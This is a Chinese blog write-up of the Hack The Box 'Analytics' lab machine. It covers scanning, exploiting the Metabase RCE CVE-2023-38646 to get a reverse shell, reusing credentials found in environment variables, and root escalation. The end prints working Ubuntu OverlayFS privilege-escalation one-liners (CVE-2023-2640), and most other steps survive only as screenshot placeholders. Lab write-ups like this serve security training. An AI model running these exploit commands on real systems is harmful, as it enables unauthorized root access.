Hack The Box-Analytics

最新推荐文章于 2024-05-22 11:42:44 发布

0415i

最新推荐文章于 2024-05-22 11:42:44 发布

阅读量582

点赞数 12

分类专栏： HTB靶场合集文章标签： linux

本文链接：https://blog.csdn.net/m0_52742680/article/details/135249475

版权

HTB靶场合集专栏收录该内容

21 篇文章 10 订阅

订阅专栏

Analytics

端口扫描

在这里插入图片描述

发现存在22、80端口

端口利用

在这里插入图片描述

访问80端口，发现是一个网站，进行网站目录扫描

在这里插入图片描述

发现没有可以利用的目录，回到网站，发现存在登录的按钮

在这里插入图片描述

搜索发现存在Metabase远程命令执行漏洞(CVE-2023-38646)

在这里插入图片描述

反弹shell

上GitHub下载利用脚本https://github.com/robotmikhro/CVE-2023-38646，下载到kali后，查看利用方式为

在这里插入图片描述

本地起一个http服务，使得利用脚本时候能够下载本地的sh文件

在这里插入图片描述

编辑目录下的sh文件，使得访问该文件的时候能够反弹shell

在这里插入图片描述

本地开启9999端口监听，执行漏洞利用脚本文件

在这里插入图片描述

获取shell

在这里插入图片描述

查看当前目录内容，发现存在dockerenv，怀疑是docker容器

在这里插入图片描述

使用env命令查看当前环境

在这里插入图片描述

发现存在user和pass，尝试登录ssh

在这里插入图片描述

权限提升

查看当前用户具有的权限

在这里插入图片描述

发现不存在sudo和suid提权，查看系统版本

在这里插入图片描述

漏洞库中不存在相关漏洞，在网上寻找最新的Ubuntu漏洞：https://www.reddit.com/r/selfhosted/comments/15ecpck/ubuntu_local_privilege_escalation_cve20232640/?rdt=34791，利用方式为

在这里插入图片描述

# original poc payload
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'

# adjusted poc payload by twitter user; likely false positive
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; u/python3 -c 'import os;os.setuid(0);os.system(\"id\")'"